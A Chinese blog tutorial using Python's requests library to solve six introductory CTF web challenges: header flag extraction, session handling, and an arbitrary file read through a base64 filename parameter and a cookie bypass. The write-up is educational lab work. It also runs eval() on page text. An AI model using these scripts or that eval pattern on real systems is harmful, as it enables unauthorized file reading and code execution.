【Python】requests库在CTFWeb题中的应用

目录

①Bugku-GET

②Bugku-POST

③实验吧-天下武功唯快不破

④Bugku-速度要快

⑤Bugku-秋名山车神

⑥Bugku-cookies


①Bugku-GET

import requestsresp=requests.get(url='http://114.67.175.224:12922/',params={'what':'flag'})
print(resp.text)//或者
//resp=requests.get(url='http://114.67.175.224:12922/?what=flag')
//print(resp.text)

②Bugku-POST

 

import requestsdata={'what':'flag'}
resp=requests.post(url='http://114.67.175.224:14821/?what=flag',data=data)
print(resp.text)

③实验吧-天下武功唯快不破

 右键查看源码

 提示信息搜集,bp抓包看到flag的base64编码在相应头 

经过尝试发现flag是不断变化的

显然手速跟不上服务器更新速度,写脚本即可

import requests
import base64r1=requests.get(url='http://ctf5.shiyanbar.com/web/10/10.php')
test=base64.b64decode(r1.headers['FLAG'])
# print(test)
# b'P0ST_THIS_T0_CH4NGE_FL4G:L55DH81RK'
flag=test[-9:]
data={'key':flag}
r2=requests.post(url='http://ctf5.shiyanbar.com/web/10/10.php',data=data)
print(r2.text)

④Bugku-速度要快

这题从响应头中获得的flag经Base64解码之后,得到的数值仍然是一个Base64编码之后的数据,需要再次解码。此外还需要考虑session。

 bp抓包

 

响应头flag常规base64解码会报中文乱码所以拿下面脚本跑一下

import base64test=base64.b64decode('6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTVRZME1USTA=')
test_decode=test.decode('utf-8')
print(test_decode)

 ok试明白了,接下来写脚本

import requests
import base64r1=requests.get('http://114.67.175.224:14456/')
# print(r1.headers['flag'])
r2=(base64.b64decode(r1.headers['flag'])).decode('utf-8')
# print(r2)
r3=r2[14:]
r4=base64.b64decode(r3)
data={'margin':r4}
r5=requests.post(url='http://114.67.175.224:14456/',data=data)
print(r5.text)

 这是什么情况呢?

怀疑是要session会话保持,我们可以写脚本看一下请求头和响应头

import requestsr1=requests.get('http://114.67.175.224:14456/')
print(r1.headers)
print(r1.request.headers)

 

可以看到不管发几次包我们的请求头都不带cookie的字段

因为python直接去请求服务器是没有cookie的,所以要用requests模块里的session类。Session类是requests模块中的一个重要组件,它允许你创建一个持久化的会话,以便在多个请求之间保持状态和共享参数。使用Session对象,你可以在多个请求中共享Cookie、身份验证凭据、请求头等信息,从而简化了对复杂交互的处理过程。

修改脚本

import requests
import base64s=requests.session()
r1=s.get('http://114.67.175.224:14456/')
#print(r1.headers['flag'])
r2=(base64.b64decode(r1.headers['flag'])).decode('utf-8')
# print(r2)
r3=r2[14:]
r4=base64.b64decode(r3)
data={'margin':r4}
r5=s.post(url='http://114.67.175.224:14456/',data=data)
print(r5.text)

⑤Bugku-秋名山车神

import requests
import reurl = 'http://114.67.175.224:19164/'
session1 = requests.session()
resp= session1.get(url)
result = re.search(r'(\d+[+\-*])+(\d+)', resp.text)
res = result.group()
val = eval(res)
data = {'value': val}
flag = session1.post(url, data=data)
print(flag.text)

⑥Bugku-cookies

 

把请求头的filename base64解码一下

 

直接url访问keys.txt发现和初始界面回显内容一致 ,存在任意文件读取

尝试读index.php的源码 

 

?line=n&filename=aW5kZXgucGhw (通过改变n的值可以逐行读取源码)

一行一行手输太麻烦了,这里可以写脚本

首先先简单判断下有多少行,随便试一试,试出来是18行

 贴出代码

import requestsurl='http://114.67.175.224:17337/index.php'
s=requests.session()
for i in range(19):r1=s.get(url=url,params={'line':str(i),'filename':'aW5kZXgucGhw'})print(r1.text)

 跑出源码

贴出源码

<?phperror_reporting(0);$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");$line=isset($_GET['line'])?intval($_GET['line']):0;if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");$file_list = array('0' =>'keys.txt','1' =>'index.php',);if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){$file_list[2]='keys.php';}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];}?>

 意思就是如果用户的 Cookie 中存在名为 'margin' 的值且其值为 'margin',则将额外添加一个文件 'keys.php' 到 $file_list 中。

改filename和cookie即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/227870.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Quartus的Signal Tap II的使用技巧

概述&#xff1a; Signal Tap II全称Signal Tap II Logic Analyzer&#xff0c;是第二代系统级调试工具&#xff0c;它集成在Quartus II软件中&#xff0c;可以捕获和显示实时信号&#xff0c;是一款功能强大、极具实用性的FPGA片上调试工具软件。 传统的FPGA板级调试是由外接…

鸿蒙操作系统:从手机到物联网,打造全场景智能体验

随着科技的不断发展&#xff0c;人们对于操作系统的需求也在不断升级。鸿蒙操作系统&#xff0c;作为华为推出的新一代智能终端操作系统&#xff0c;凭借其强大的分布式能力、流畅的用户体验以及丰富的应用生态&#xff0c;正逐渐成为人们关注的焦点。 一、鸿蒙操作系统概述 …

Redisson依赖冲突记录

前言&#xff1a;项目使用的springboot项目为2.7.X 依赖冲突一&#xff1a;springboot 与 redisson版本冲突 项目中依赖了 Lock4j&#xff0c;此为苞米豆开源的分布式锁组件 <dependency><groupId>com.baomidou</groupId><artifactId>lock4j-redisso…

IP地址的四大类型:动态IP、固定IP、实体IP、虚拟IP的区别与应用

在网络通信中&#xff0c;IP地址是设备在互联网上唯一标识的关键元素。动态IP、固定IP、实体IP和虚拟IP是四种不同类型的IP地址&#xff0c;它们各自具有独特的特点和应用场景。 1. 动态IP地址&#xff1a; 动态IP地址是由Internet Service Provider&#xff08;ISP&#xff…

详解Keras3.0 Layer API: LSTM layer

LSTM layer 用于实现长短时记忆网络&#xff0c;它的主要作用是对序列数据进行建模和预测。 遗忘门&#xff08;Forget Gate&#xff09;&#xff1a;根据当前输入和上一个时间步的隐藏状态&#xff0c;计算遗忘门的值。遗忘门的作用是控制哪些信息应该被遗忘&#xff0c;哪些…

Pycharm2023版本:Python远程调试配置详解

工欲善其事&#xff0c;必先利其器 首先你需要选择一个专业版本的pycharm&#xff0c;社区版本不支持远程配置功能&#xff0c;专业版下载地址&#xff1a;Pycharm 2023 双击程序进行安装&#xff0c;30天内免费试用&#xff0c;如果想要永久使用&#xff0c;办法你懂的&…

中职网络安全Server2002——Web隐藏信息获取

B-2&#xff1a;Web隐藏信息获取 任务环境说明&#xff1a; 服务器场景名&#xff1a;Server2002&#xff08;关闭链接&#xff09;服务器场景用户名&#xff1a;未知 有问题需要环境加q 通过本地PC中渗透测试平台Kali使用Nmap扫描目标靶机HTTP服务子目录&#xff0c;将扫描子…

电脑忘记开机密码很着急?一招搞定

前言 本教程适合没有登录微软账号的电脑哦&#xff5e; 随着手机越智能&#xff0c;人们花在电脑上的时间越来越少了。你家的电脑多久没开机了&#xff1f; 小伙伴有没有这样的经历&#xff1a;很久没有打开过电脑的你&#xff0c;突然有一天打开了电脑&#xff0c;却想不起…

阿里云OpenSearch-LLM智能问答故障的一天

上周五使用阿里云开放搜索问答版时&#xff0c;故障了一整天&#xff0c;可能这个服务使用的人比较少&#xff0c;没有什么消息爆出来&#xff0c;特此记录下这几天的阿里云处理过程&#xff0c;不免让人怀疑阿里云整体都外包出去了&#xff0c;反应迟钝&#xff0c;水平业余&a…

Postman接口测试工具使用

一、前言 在前后端分离开发时&#xff0c;后端工作人员完成系统接口开发后&#xff0c;需要与前端人员对接&#xff0c;测试调试接口&#xff0c;验证接口的正确性可用性。而这要求前端开发进度和后端进度保持基本一致&#xff0c;任何一方的进度跟不上&#xff0c;都无法及…

LV.13 D7 交叉编译工具链 学习笔记

一、交叉编译 1.1 编译原理 机器码&#xff08;二进制&#xff09;是处理器能直接识别的语言&#xff0c;不同的机器码代表不同的运算指令&#xff0c;处理器能够识别哪些机器码是由处理器的硬件设计所决定的&#xff0c;不同的处理器机器码不同&#xff0c;所以机器码不可移植…

设计模式——适配器模式(Adapter Pattern)

概述 适配器模式可以将一个类的接口和另一个类的接口匹配起来&#xff0c;而无须修改原来的适配者接口和抽象目标类接口。适配器模式(Adapter Pattern)&#xff1a;将一个接口转换成客户希望的另一个接口&#xff0c;使接口不兼容的那些类可以一起工作&#xff0c;其别名为包装…

【VRTK】【VR开发】【Unity】18-VRTK与Unity UI控制的融合使用

课程配套学习项目源码资源下载 https://download.csdn.net/download/weixin_41697242/88485426?spm=1001.2014.3001.5503 【背景】 VRTK和Unity自身的UI控制包可以配合使用发挥效果。本篇就讨论这方面的实战内容。 之前可以互动的立体UI并不是传统的2D UI对象,在实际使用中…

iS-RPM2023.2.0.0新版本发布

引言 经过不断努力和精心打磨,我们带着全新版本的RPM产品与大家见面啦!本次更新将为广大流程分析师和质量管理员们提供更深入、更准确的洞察力,以帮助大家在数据驱动的决策中取得更卓越的成果。然而,让海量数据转化为可用的见解并不是一项容易的任务。我们理解数据分析师们…

竞赛保研 基于大数据的股票量化分析与股价预测系统

文章目录 0 前言1 课题背景2 实现效果3 设计原理QTChartsarma模型预测K-means聚类算法算法实现关键问题说明 4 部分核心代码5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于大数据的股票量化分析与股价预测系统 该项目较为新颖…

【逗老师的无线电】ICOM IC-705终端模式Terminal Mode直连反射器配置-内置网关IP直连篇

各位友台大家好呀&#xff0c;逗老师最近整了一台IC-705&#xff0c;最吸引人的莫过于这玩意可以IP直连反射器。下面简单介绍一下这个功能和其配置方法 目录 一、功能二、依赖条件三、配置3.1、IC-705连接WIFI3.2、配置Terminal Mode3.2.1、点击MENU进入菜单&#xff0c;翻到第…

Linux:apache优化(4)—— 隐藏版本号

运行环境 yum -y install apr apr-devel cyrus-sasl-devel expat-devel libdb-devel openldap-devel apr-util-devel apr-util pcre-devel pcre gcc make zlib-devel 源码包配置 ./configure --prefix/usr/local/httpd --enable-cgi --enable-rewrite --enable-so --enabl…

【哈希数组】697. 数组的度

697. 数组的度 解题思路 首先创建一个IndexMap 键表示元素 值表示一个列表List list存储该元素在数组的所有索引之后再次创建一个map1 针对上面的List 键表示列表的长度 值表示索引的差值遍历indexmap 将所有的list的长度 和 索引的差值存储遍历map1 找到最大的key 那么这个Ke…

QString设置小数点精度位数

QString设置小数点精度位数 Chapter1 QString设置小数点精度位数Chapter2 Qt中QString.toDouble有效位数6位问题以及数据小数点有效位数的处理问题一&#xff1a;QString.toDouble有效位只有6位问题二:小数点有效位数的问题 Chapter3 qt QString转Double只显示6位数字的问题(精…

12.31_黑马数据结构与算法笔记Java

目录 331 两数之和 Leetcode167 332 三数之和 Leetcode15 333 四数之和 Leetcode18 334 盛水最多容器 Leetcode11 335 滑动窗口最大值 Leetcode239 336 接雨水 Leetcode42 337 字符串匹配 bf Leetcode28 338 字符串匹配 kmp Leetcode28 339 字符串匹配 lps Leetcode28 …